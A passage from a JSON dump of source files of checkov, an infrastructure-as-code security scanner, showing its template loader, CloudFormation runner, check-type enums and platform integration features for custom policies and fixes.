{fname}: {e}')\n        raise CfnParseError(filename=fname, message=str(e), line_number=0, column_number=0) from e\n\n\ndef load(filename: str | Path, content_type: ContentType | None) -> tuple[dict[str, Any], list[tuple[int, str]]]:\n    \"\"\"\n    Load the given YAML file\n    \"\"\"\n    file_path = filename if isinstance(filename, Path) else Path(filename)\n\n    if platform.system() == \"Windows\":\n        try:\n            content = str(from_path(file_path).best())\n        except UnicodeDecodeError as e:\n            LOGGER.error(f\"Encoding for file {file_path} could not be detected or read. Please try encoding the file as UTF-8.\")\n            raise e\n    else:\n        content = read_file_with_any_encoding(file_path=file_path)\n\n    if content_type == ContentType.CFN and \"Resources\" not in content:\n        logging.debug(f'File {file_path} is expected to be a CFN template but has no Resources attribute')\n        return {}, []\n    elif content_type == ContentType.SLS and \"provider\" not in content:\n        logging.debug(f'File {file_path} is expected to be an SLS template but has no provider attribute')\n        return {}, []\n    elif content_type == ContentType.TFPLAN and \"planned_values\" not in content:\n        logging.debug(f'File {file_path} is expected to be a TFPLAN file but has no planned_values attribute')\n        return {}, []\n\n    file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n\n    if file_path.suffix == \".json\":\n        file_size = len(content)\n        if file_size > MAX_IAC_FILE_SIZE:\n            # large JSON files take too much time, when parsed with `pyyaml`, compared to a normal 'json.loads()'\n            # with start/end line numbers of 0 takes only a few seconds\n            logging.info(\n                f\"File {file_path} has a size of {file_size} which is bigger than the supported 50mb, \"\n                \"therefore file lines will default to 0.\"\n                \"This limit can be adjusted via the environment variable 'CHECKOV_MAX_IAC_FILE_SIZE'.\"\n            )\n            return json.loads(content, cls=SimpleDecoder), file_lines\n\n    return loads(content, str(filename), content_type), file_lines\n"
  },
  {
    "path": "checkov/cloudformation/runner.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nfrom typing import Type, Any, TYPE_CHECKING\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.cloudformation import cfn_utils\nfrom checkov.cloudformation.cfn_utils import create_definitions, build_definitions_context\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry\nfrom checkov.cloudformation.context_parser import ContextParser\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\nfrom checkov.cloudformation.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions\nfrom checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph\nfrom checkov.cloudformation.graph_manager import CloudformationGraphManager\nfrom checkov.cloudformation.image_referencer.manager import CloudFormationImageReferencerManager\nfrom checkov.cloudformation.parser.cfn_keywords import TemplateSections\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.typing import LibraryGraphConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.images.image_referencer import ImageReferencerMixin\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.graph_record import GraphRecord\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report, merge_reports, CheckType\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.util.secrets import omit_secret_value_from_checks\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from networkx import DiGraph\n    from checkov.common.checks_infra.registry import Registry\n    from checkov.common.images.image_referencer import Image\n\n_CloudformationContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_CloudformationDefinitions: TypeAlias = \"dict[str, dict[str, Any]]\"\n\n\nclass Runner(ImageReferencerMixin[None], BaseRunner[_CloudformationDefinitions, _CloudformationContext, CloudformationGraphManager]):\n    check_type = CheckType.CLOUDFORMATION  # noqa: CCE003  # a static attribute\n\n    def __init__(\n            self,\n            db_connector: LibraryGraphConnector | None = None,\n            source: str = GraphSource.CLOUDFORMATION,\n            graph_class: Type[CloudformationLocalGraph] = CloudformationLocalGraph,\n            graph_manager: CloudformationGraphManager | None = None,\n            external_registries: list[BaseRegistry] | None = None\n    ) -> None:\n        super().__init__(file_extensions=['.json', '.yml', '.yaml', '.template'])\n        db_connector = db_connector or self.db_connector\n        self.external_registries = [] if external_registries is None else external_registries\n        self.graph_class = graph_class\n        self.graph_manager: CloudformationGraphManager = (\n            graph_manager\n            if graph_manager is not None\n            else CloudformationGraphManager(source=source, db_connector=db_connector)\n        )\n        self.context: _CloudformationContext = {}\n        self.definitions: _CloudformationDefinitions = {}\n        self.definitions_raw: \"dict[str, list[tuple[int, str]]]\" = {}\n        self.graph_registry: \"Registry\" = get_graph_checks_registry(self.check_type)\n\n    def run(\n            self,\n            root_folder: str | None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n        parsing_errors: dict[str, str] = {}\n\n        if self.context is None or self.definitions is None or self.breadcrumbs is None:\n            self.definitions, self.definitions_raw = create_definitions(root_folder, files, runner_filter,\n                                                                        parsing_errors)\n            report.add_parsing_errors(list(parsing_errors.keys()))\n\n            if external_checks_dir:\n                for directory in external_checks_dir:\n                    cfn_registry.load_external_checks(directory)\n                    self.graph_registry.load_external_checks(directory)\n\n            self.context = build_definitions_context(self.definitions, self.definitions_raw)\n\n            logging.info(\"creating CloudFormation graph\")\n            local_graph = self.graph_manager.build_graph_from_definitions(self.definitions)\n            logging.info(\"Successfully created CloudFormation graph\")\n\n            for vertex in local_graph.vertices:\n                if vertex.block_type == BlockType.RESOURCE:\n                    report.add_resource(f'{vertex.path}:{vertex.id}')\n            self.graph_manager.save_graph(local_graph)\n            self.definitions, self.breadcrumbs = convert_graph_vertices_to_definitions(\n                vertices=local_graph.vertices,\n                root_folder=root_folder,\n            )\n\n        # TODO: replace with real graph rendering\n        for cf_file in self.definitions.keys():\n            file_definition = self.definitions.get(cf_file, None)\n            file_definition_raw = self.definitions_raw.get(cf_file, None)\n            if file_definition is not None and file_definition_raw is not None:\n                cf_context_parser = ContextParser(cf_file, file_definition, file_definition_raw)\n                logging.debug(\n                    \"Template Dump for {}: {}\".format(cf_file, json.dumps(file_definition, indent=2, default=str))\n                )\n                cf_context_parser.evaluate_default_refs()\n\n        self.pbar.initiate(len(self.definitions))\n\n        # run checks\n        self.check_definitions(root_folder, runner_filter, report)\n\n        # run graph checks\n        graph_report = self.get_graph_checks_report(root_folder, runner_filter)\n        merge_reports(report, graph_report)\n\n        if runner_filter.run_image_referencer:\n            if files:\n                # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form\n                root_folder = os.path.split(os.path.commonprefix(files))[0]\n\n            image_report = self.check_container_image_references(\n                graph_connector=self.graph_manager.get_reader_endpoint(),\n                root_path=root_folder,\n                runner_filter=runner_filter,\n            )\n\n            if image_report:\n                # due too many tests failing only return a list, if there is an image report\n                return [report, image_report]\n\n        return report\n\n    def check_definitions(self, root_folder: str | None, runner_filter: RunnerFilter, report: Report) -> None:\n        for file_abs_path, definition in self.definitions.items():\n            cf_file = f\"/{os.path.relpath(file_abs_path, root_folder)}\"\n            self.pbar.set_additional_data({'Current File Scanned': cf_file})\n            if isinstance(definition, dict) and TemplateSections.RESOURCES in definition.keys():\n                for resource_name, resource in definition[TemplateSections.RESOURCES].items():\n                    resource_id = ContextParser.extract_cf_resource_id(resource, resource_name)\n                    # check that the resource can be parsed as a CF resource\n                    if resource_id:\n                        resource_context = self.context[file_abs_path][TemplateSections.RESOURCES][resource_name]\n                        entity_lines_range = [resource_context['start_line'], resource_context['end_line']]\n                        entity_code_lines = resource_context['code_lines']\n                        if entity_lines_range and entity_code_lines:\n                            # TODO - Variable Eval Message!\n                            variable_evaluations: \"dict[str, Any]\" = {}\n                            skipped_checks = resource_context.get(\"skipped_checks\")\n                            entity = {resource_name: resource}\n                            results = cfn_registry.scan(cf_file, entity, skipped_checks, runner_filter)\n                            tags = cfn_utils.get_resource_tags(entity)\n                            if results:\n                                for check, check_result in results.items():\n                                    censored_code_lines = omit_secret_value_from_checks(\n                                        check=check,\n                                        check_result=check_result,\n                                        entity_code_lines=entity_code_lines,\n                                        entity_config=resource,\n                                        resource_attributes_to_omit=runner_filter.resource_attr_to_omit\n                                    )\n                                    record = Record(\n                                        check_id=check.id,\n                                        bc_check_id=check.bc_id,\n                                        check_name=check.name,\n                                        check_result=check_result,\n                                        code_block=censored_code_lines,\n                                        file_path=cf_file,\n                                        file_line_range=entity_lines_range,\n                                        resource=resource_id,\n                                        evaluations=variable_evaluations,\n                                        check_class=check.__class__.__module__,\n                                        file_abs_path=file_abs_path,\n                                        entity_tags=tags,\n                                        severity=check.severity\n                                    )\n\n                                    if self.breadcrumbs:\n                                        breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource)\n                                        if breadcrumb:\n                                            record = GraphRecord(record, breadcrumb)\n                                    record.set_guideline(check.guideline)\n                                    report.add_record(record=record)\n                            else:\n                                # resources without checks, but not existing ones\n                                report.extra_resources.add(\n                                    ExtraResource(\n                                        file_abs_path=str(file_abs_path),\n                                        file_path=cf_file,\n                                        resource=resource_id,\n                                    )\n                                )\n            self.pbar.update()\n        self.pbar.close()\n\n    def get_graph_checks_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report:\n        report = Report(self.check_type)\n        checks_results = self.run_graph_checks_results(runner_filter, self.check_type)\n\n        for check, check_results in checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                if entity.get(CustomAttributes.BLOCK_TYPE) != BlockType.RESOURCE:\n                    continue\n                entity_file_abs_path = entity[CustomAttributes.FILE_PATH]\n                entity_file_path = f\"/{os.path.relpath(entity_file_abs_path, root_folder)}\"\n                entity_name = entity[CustomAttributes.BLOCK_NAME].split(\".\")[-1]\n                entity_context = self.context[entity_file_abs_path][TemplateSections.RESOURCES][\n                    entity_name\n                ]\n\n                skipped_check = next(\n                    (\n                        skipped_check\n                        for skipped_check in entity_context.get(\"skipped_checks\", [])\n                        if skipped_check[\"id\"] in (check.id, check.bc_id)\n                    ),\n                    None,\n                )\n                if skipped_check:\n                    check_result[\"result\"] = CheckResult.SKIPPED\n                    check_result[\"suppress_comment\"] = skipped_check.get(\"suppress_comment\", \"\")\n\n                record = Record(\n                    check_id=check.id,\n                    check_name=check.name,\n                    check_result=check_result,\n                    code_block=entity_context.get(\"code_lines\"),\n                    file_path=entity_file_path,\n                    file_line_range=[entity_context.get(\"start_line\"), entity_context.get(\"end_line\")],\n                    resource=entity[CustomAttributes.ID],\n                    evaluations={},\n                    check_class=check.__class__.__module__,\n                    file_abs_path=entity_file_abs_path,\n                    entity_tags={} if not entity.get(\"Tags\") else cfn_utils.parse_entity_tags(entity.get(\"Tags\")),\n                    severity=check.severity\n                )\n                if self.breadcrumbs:\n                    breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource)\n                    if breadcrumb:\n                        record = GraphRecord(record, breadcrumb)\n                record.set_guideline(check.guideline)\n                report.add_record(record=record)\n        return report\n\n    def extract_images(\n        self,\n        graph_connector: DiGraph | None = None,\n        definitions: dict[str, dict[str, Any] | list[dict[str, Any]]] | None = None,\n        definitions_raw: dict[str, list[tuple[int, str]]] | None = None\n    ) -> list[Image]:\n        if not graph_connector:\n            # should not happen\n            return []\n\n        manager = CloudFormationImageReferencerManager(graph_connector=graph_connector)\n        images: list[Image] = manager.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/common/__init__.py",
    "content": "from checkov.common.models import * # noqa\n"
  },
  {
    "path": "checkov/common/bridgecrew/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/bridgecrew/bc_source.py",
    "content": "from dataclasses import dataclass\n\n\nclass SourceType:\n    __slots__ = (\"name\", \"upload_results\")\n\n    def __init__(self, name: str, upload_results: bool):\n        self.name = name\n        self.upload_results = upload_results\n\n\n@dataclass\nclass BCSourceType:\n    VSCODE = 'vscode'\n    JETBRAINS = 'jetbrains'\n    CLI = 'cli'\n    KUBERNETES_WORKLOADS = 'kubernetesWorkloads'\n    GITHUB_ACTIONS = 'githubActions'\n    CODEBUILD = 'codebuild'\n    JENKINS = 'jenkins'\n    ADMISSION_CONTROLLER = 'admissionController'\n    CIRCLECI = 'circleci'\n    DISABLED = 'disabled'  # use this as a placeholder for generic no-upload logic\n\n\nSourceTypes = {\n    BCSourceType.VSCODE: SourceType(BCSourceType.VSCODE, False),\n    BCSourceType.JETBRAINS: SourceType(BCSourceType.JETBRAINS, False),\n    BCSourceType.CLI: SourceType(BCSourceType.CLI, True),\n    BCSourceType.KUBERNETES_WORKLOADS: SourceType(BCSourceType.KUBERNETES_WORKLOADS, True),\n    BCSourceType.DISABLED: SourceType(BCSourceType.VSCODE, False),\n    BCSourceType.GITHUB_ACTIONS: SourceType(BCSourceType.GITHUB_ACTIONS, True),\n    BCSourceType.CODEBUILD: SourceType(BCSourceType.CODEBUILD, True),\n    BCSourceType.JENKINS: SourceType(BCSourceType.JENKINS, True),\n    BCSourceType.CIRCLECI: SourceType(BCSourceType.CIRCLECI, True),\n    BCSourceType.ADMISSION_CONTROLLER: SourceType(BCSourceType.ADMISSION_CONTROLLER, False)\n}\n\n\nIDEsSourceTypes = {BCSourceType.VSCODE, BCSourceType.JETBRAINS}\n\n\ndef get_source_type(source: str) -> SourceType:\n    # helper method to get the source type with a default - using dict.get is ugly; you have to do:\n    # SourceTypes.get(xyz, SourceTypes[BCSourceType.Disabled])\n    if source in SourceTypes:\n        return SourceTypes[source]\n    else:\n        return SourceTypes[BCSourceType.CLI]\n"
  },
  {
    "path": "checkov/common/bridgecrew/check_type.py",
    "content": "from dataclasses import dataclass\n\n\n@dataclass\nclass CheckType:\n    ANSIBLE = \"ansible\"\n    ARGO_WORKFLOWS = \"argo_workflows\"\n    ARM = \"arm\"\n    AZURE_PIPELINES = \"azure_pipelines\"\n    BICEP = \"bicep\"\n    BITBUCKET_PIPELINES = \"bitbucket_pipelines\"\n    CDK = \"cdk\"\n    CIRCLECI_PIPELINES = \"circleci_pipelines\"\n    CLOUDFORMATION = \"cloudformation\"\n    DOCKERFILE = \"dockerfile\"\n    GITHUB_CONFIGURATION = \"github_configuration\"\n    GITHUB_ACTIONS = \"github_actions\"\n    GITLAB_CONFIGURATION = \"gitlab_configuration\"\n    GITLAB_CI = \"gitlab_ci\"\n    BITBUCKET_CONFIGURATION = \"bitbucket_configuration\"\n    HELM = \"helm\"\n    JSON = \"json\"\n    YAML = \"yaml\"\n    KUBERNETES = \"kubernetes\"\n    KUSTOMIZE = \"kustomize\"\n    OPENAPI = \"openapi\"\n    SCA_PACKAGE = \"sca_package\"\n    SCA_IMAGE = \"sca_image\"\n    SECRETS = \"secrets\"\n    SERVERLESS = \"serverless\"\n    TERRAFORM = \"terraform\"\n    TERRAFORM_JSON = \"terraform_json\"\n    TERRAFORM_PLAN = \"terraform_plan\"\n    SAST = 'sast'\n    SAST_PYTHON = 'sast_python'\n    SAST_JAVA = 'sast_java'\n    SAST_JAVASCRIPT = 'sast_javascript'\n    SAST_TYPESCRIPT = 'sast_typescript'\n    SAST_GOLANG = 'sast_golang'\n    POLICY_3D = \"3d_policy\"\n\n\n@dataclass\nclass SastType:\n    SAST_PYTHON = 'sast_python'\n    SAST_JAVA = 'sast_java'\n    SAST_JAVASCRIPT = 'sast_javascript'\n    SAST_TYPESCRIPT = 'sast_typescript'\n    SAST_GOLANG = 'sast_golang'\n\n\n# needs to be at the end\ncheckov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith(\"__\")]\nsast_types = [value for attr, value in SastType.__dict__.items() if not attr.startswith(\"__\")]\n"
  },
  {
    "path": "checkov/common/bridgecrew/code_categories.py",
    "content": "from enum import Enum\nfrom typing import Dict, List, Union\n\nfrom checkov.common.bridgecrew.severities import Severity, BcSeverities, Severities\nfrom checkov.common.bridgecrew.check_type import CheckType\n\n\nclass CodeCategoryType(str, Enum):\n    IAC = \"IAC\"\n    VULNERABILITIES = \"VULNERABILITIES\"\n    SECRETS = \"SECRETS\"\n    LICENSES = \"LICENSES\"\n    BUILD_INTEGRITY = \"BUILD_INTEGRITY\"\n    WEAKNESSES = \"WEAKNESSES\"\n\n\nCodeCategoryMapping: Dict[str, Union[CodeCategoryType, List[CodeCategoryType]]] = {\n    CheckType.ANSIBLE: CodeCategoryType.IAC,\n    CheckType.ARGO_WORKFLOWS: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.ARM: CodeCategoryType.IAC,\n    CheckType.AZURE_PIPELINES: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.BICEP: CodeCategoryType.IAC,\n    CheckType.BITBUCKET_PIPELINES: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.CDK: CodeCategoryType.WEAKNESSES,\n    CheckType.CIRCLECI_PIPELINES: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.CLOUDFORMATION: CodeCategoryType.IAC,\n    CheckType.DOCKERFILE: CodeCategoryType.IAC,\n    CheckType.GITHUB_CONFIGURATION: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.GITHUB_ACTIONS: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.GITLAB_CONFIGURATION: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.GITLAB_CI: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.BITBUCKET_CONFIGURATION: CodeCategoryType.BUILD_INTEGRITY,\n    CheckType.HELM: CodeCategoryType.IAC,\n    CheckType.JSON: CodeCategoryType.IAC,\n    CheckType.YAML: CodeCategoryType.IAC,\n    CheckType.KUBERNETES: CodeCategoryType.IAC,\n    CheckType.KUSTOMIZE: CodeCategoryType.IAC,\n    CheckType.OPENAPI: CodeCategoryType.IAC,\n    CheckType.SCA_PACKAGE: [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES],\n    CheckType.SCA_IMAGE: [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES],\n    CheckType.SECRETS: CodeCategoryType.SECRETS,\n    CheckType.SERVERLESS: CodeCategoryType.IAC,\n    CheckType.TERRAFORM: CodeCategoryType.IAC,\n    CheckType.TERRAFORM_JSON: CodeCategoryType.IAC,\n    CheckType.TERRAFORM_PLAN: CodeCategoryType.IAC,\n    CheckType.SAST: CodeCategoryType.WEAKNESSES,\n    CheckType.SAST_PYTHON: CodeCategoryType.WEAKNESSES,\n    CheckType.SAST_JAVA: CodeCategoryType.WEAKNESSES,\n    CheckType.SAST_JAVASCRIPT: CodeCategoryType.WEAKNESSES,\n    CheckType.SAST_TYPESCRIPT: CodeCategoryType.WEAKNESSES,\n    CheckType.SAST_GOLANG: CodeCategoryType.WEAKNESSES,\n    CheckType.POLICY_3D: CodeCategoryType.IAC\n}\n\n\nclass CodeCategoryConfiguration:\n    def __init__(self, category: str, soft_fail_threshold: Severity, hard_fail_threshold: Severity):\n        self.category = category\n        self.soft_fail_threshold = soft_fail_threshold\n        self.hard_fail_threshold = hard_fail_threshold\n\n    def is_global_soft_fail(self) -> bool:\n        return self.hard_fail_threshold == Severities[BcSeverities.OFF]\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/__init__.py",
    "content": "from checkov.common.bridgecrew.integration_features.features import *  # noqa\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/base_integration_feature.py",
    "content": "from __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry\n\nif TYPE_CHECKING:\n    from argparse import Namespace\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\n\nclass BaseIntegrationFeature(ABC):\n    def __init__(self, bc_integration: BcPlatformIntegration, order: int) -> None:\n        self.bc_integration = bc_integration\n        self.order = order\n        integration_feature_registry.register(self)\n        self.integration_feature_failures = False\n        self.config: Namespace | None = None  # is set during pre_scan()\n\n    @abstractmethod\n    def is_valid(self) -> bool:\n        raise NotImplementedError()\n\n    @abstractmethod\n    def pre_scan(self) -> None:\n        \"\"\"Runs before any runners\"\"\"\n        pass\n\n    @abstractmethod\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        \"\"\"Runs before each runner\"\"\"\n        pass\n\n    @abstractmethod\n    def post_runner(self, scan_reports: Report) -> None:\n        \"\"\"Runs after each runner completes\"\"\"\n        pass\n\n    @abstractmethod\n    def post_scan(self, merged_reports: list[Report]) -> Report | None:\n        \"\"\"Runs after all runners complete\"\"\"\n        pass\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')]\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/custom_policies_integration.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport re\nfrom collections import defaultdict\nimport tempfile\nfrom typing import TYPE_CHECKING, Any, List\n\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.severities import Severities\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry, get_graph_checks_registry, get_all_graph_checks_registries\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.record import Record\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\n# service-provider::service-name::data-type-name\nCFN_RESOURCE_TYPE_IDENTIFIER = re.compile(r\"^[a-zA-Z0-9]+::[a-zA-Z0-9]+::[a-zA-Z0-9]+$\")\nSAST_CATEGORY = 'Sast'\nLICENSES_CATEGORY = 'Licenses'\n\n\nclass CustomPoliciesIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=1)  # must be after policy metadata and before suppression integration\n        self.platform_policy_parser = GraphCheckParser()\n        self.bc_cloned_checks: dict[str, list[dict[str, Any]]] = defaultdict(list)\n        self.policy_level_suppression: List[str] = []\n\n    @property\n    def policies_url(self) -> str:\n        return f\"{self.bc_integration.api_url}/api/v1/policies/table/data\"\n\n    def is_valid(self) -> bool:\n        return (\n            self.bc_integration.is_integration_configured()\n            and not self.bc_integration.skip_download\n            and not self.integration_feature_failures\n        )\n\n    def pre_scan(self) -> None:\n        try:\n            if not self.bc_integration.customer_run_config_response:\n                logging.debug('In the pre-scan for custom policies, but nothing was fetched from the platform')\n                self.integration_feature_failures = True\n                return\n\n            policies = self.bc_integration.customer_run_config_response.get('customPolicies')\n            sast_policies_dir = tempfile.mkdtemp()\n            self.bc_integration.sast_custom_policies = sast_policies_dir\n            for policy in policies:\n                try:\n                    logging.debug(f\"Loading policy id: {policy.get('id')}\")\n                    if policy.get('category') == SAST_CATEGORY:\n                        with open(f\"{sast_policies_dir}/{policy.get('id')}.yaml\", 'a') as f:\n                            f.write(policy.get('code'))\n                        continue\n\n                    converted_check = self._convert_raw_check(policy)\n                    source_incident_id = policy.get('sourceIncidentId')\n                    if source_incident_id:\n                        policy['severity'] = Severities[policy['severity']]\n                        self.bc_cloned_checks[source_incident_id].append(policy)\n                        continue\n                    resource_types = Registry._get_resource_types(converted_check['metadata'])\n\n                    if policy.get('category') == LICENSES_CATEGORY:\n                        continue\n\n                    check = self.platform_policy_parser.parse_raw_check(converted_check, resources_types=resource_types)\n                    check.severity = Severities[policy['severity']]\n                    check.bc_id = check.id\n                    if check.frameworks:\n                        for f in check.frameworks:\n                            if f.lower() == \"cloudformation\":\n                                get_graph_checks_registry(\"cloudformation\").checks.append(check)\n                            elif f.lower() == \"terraform\":\n                                get_graph_checks_registry(\"terraform\").checks.append(check)\n                            elif f.lower() == \"kubernetes\":\n                                get_graph_checks_registry(\"kubernetes\").checks.append(check)\n                            elif f.lower() == \"bicep\":\n                                get_graph_checks_registry(\"bicep\").checks.append(check)\n                            elif f.lower() == \"arm\":\n                                get_graph_checks_registry(\"arm\").checks.append(check)\n                    else:\n                        for registry in get_all_graph_checks_registries():\n                            registry.checks.append(check)\n                except Exception:\n                    logging.debug(f\"Failed to load policy id: {policy.get('id')}\", exc_info=True)\n            logging.debug(f'Found {len(policies)} custom policies from the platform.')\n        except Exception:\n            self.integration_feature_failures = True\n            logging.debug(\"Scanning without applying custom policies from the platform.\", exc_info=True)\n\n    @staticmethod\n    def _convert_raw_check(policy: dict[str, Any]) -> dict[str, Any]:\n        metadata = {\n            'id': policy['id'],\n            'name': policy['title'],\n            'category': policy['category'],\n            'frameworks': policy.get('frameworks', []),\n            'scope': {'provider': policy.get('provider', '').lower()}\n        }\n        check = {\n            'metadata': metadata,\n            'definition': json.loads(policy['code'])\n        }\n        return check\n\n    def post_runner(self, scan_report: Report) -> None:\n        if self.bc_cloned_checks:\n            scan_report.failed_checks = self.extend_records_with_cloned_policies(scan_report.failed_checks)\n            scan_report.passed_checks = self.extend_records_with_cloned_policies(scan_report.passed_checks)\n            scan_report.skipped_checks = self.extend_records_with_cloned_policies(scan_report.skipped_checks)\n\n    def extend_records_with_cloned_policies(self, records: list[Record]) -> list[Record]:\n        bc_check_ids = [record.bc_check_id for record in records]\n        for idx, bc_check_id in enumerate(bc_check_ids):\n            cloned_policies = self.bc_cloned_checks.get(bc_check_id, [])  # type:ignore[arg-type]  # bc_check_id can be None\n            logging.debug('Cloned policies to be deep copied:')\n            logging.debug(cloned_policies)\n            logging.debug('From origin policy:')\n            logging.debug(records[idx].get_unique_string())\n            for cloned_policy in cloned_policies:\n                new_record = pickle_deepcopy(records[idx])\n                new_record.check_id = cloned_policy['id']\n                new_record.bc_check_id = cloned_policy['id']\n                new_record.guideline = cloned_policy['guideline']\n                new_record.severity = cloned_policy['severity']\n                new_record.check_name = cloned_policy['title']\n                records.append(new_record)\n        policy_level_suppression_check_ids = self.convert_suppression_ids_to_bc_check_ids()\n        records = [record for record in records if record.bc_check_id not in policy_level_suppression_check_ids]  # Filter out policy level suppressions after cloned policy is added\n        return records\n\n    def convert_suppression_ids_to_bc_check_ids(self) -> List[str]:\n        return [\"_\".join(policy.split('_')[:-1]) for policy in self.policy_level_suppression]\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        # not used\n        pass\n\n    def post_scan(self, merged_reports: list[Report]) -> None:\n        # not used\n        pass\n\n\nintegration = CustomPoliciesIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/fixes_integration.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom collections.abc import Iterable\nfrom itertools import groupby\nfrom typing import TYPE_CHECKING, Any\n\nfrom urllib3 import PoolManager\nfrom urllib3.exceptions import ProtocolError\n\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.util.data_structures_utils import merge_dicts\nfrom checkov.common.util.http_utils import extract_error_message, get_default_post_headers\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.record import Record\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\nSUPPORTED_FIX_FRAMEWORKS = ['terraform', 'cloudformation']\n\n\nclass FixesIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=10)\n\n    @property\n    def fixes_url(self) -> str:\n        return f\"{self.bc_integration.api_url}/api/v1/fixes/checkov\"\n\n    def is_valid(self) -> bool:\n        return (\n            self.bc_integration.is_integration_configured()\n            and not self.bc_integration.skip_fixes\n            and not self.bc_integration.on_prem\n            and not self.bc_integration.skip_download\n            and not self.integration_feature_failures\n        )\n\n    def post_runner(self, scan_report: Report) -> None:\n        try:\n            if scan_report.check_type not in SUPPORTED_FIX_FRAMEWORKS:\n                return\n            self._get_platform_fixes(scan_report)\n        except Exception:\n            self.integration_feature_failures = True\n            logging.debug(\"Fixes will not be applied.\", exc_info=True)\n\n    def _get_platform_fixes(self, scan_report: Report) -> None:\n\n        # We might want to convert this to one call for all results (all files), but then we would also have to deal\n        # with repo size issues. Because the primary use case for this at the moment is VSCode integration, which\n        # runs one file at a time, this can wait.\n\n        sorted_by_file = sorted(scan_report.failed_checks, key=lambda c: c.file_abs_path)\n        for file, sorted_failed_checks in groupby(sorted_by_file, key=lambda c: c.file_abs_path):\n            failed_checks = [fc for fc in sorted_failed_checks if fc.check_id in metadata_integration.check_metadata]\n            if not failed_checks:\n                continue\n            with open(file, 'r') as reader:\n                file_contents = reader.read()\n\n            fixes = self._get_fixes_for_file(scan_report.check_type, file, file_contents, failed_checks)\n            if not fixes:\n                continue\n            all_fixes = fixes['fixes']\n\n            # a mapping of (checkov_check_id, resource_id) to the failed check Record object for lookup later\n            # guaranteed to map to exactly one record\n            failed_check_by_check_resource: dict[tuple[str, str], Record] = {\n                k: list(v)[0] for k, v in groupby(failed_checks, key=lambda c: (c.check_id, c.resource))\n            }\n\n            for fix in all_fixes:\n                ckv_id = metadata_integration.get_ckv_id_from_bc_id(fix['policyId'])\n                if not 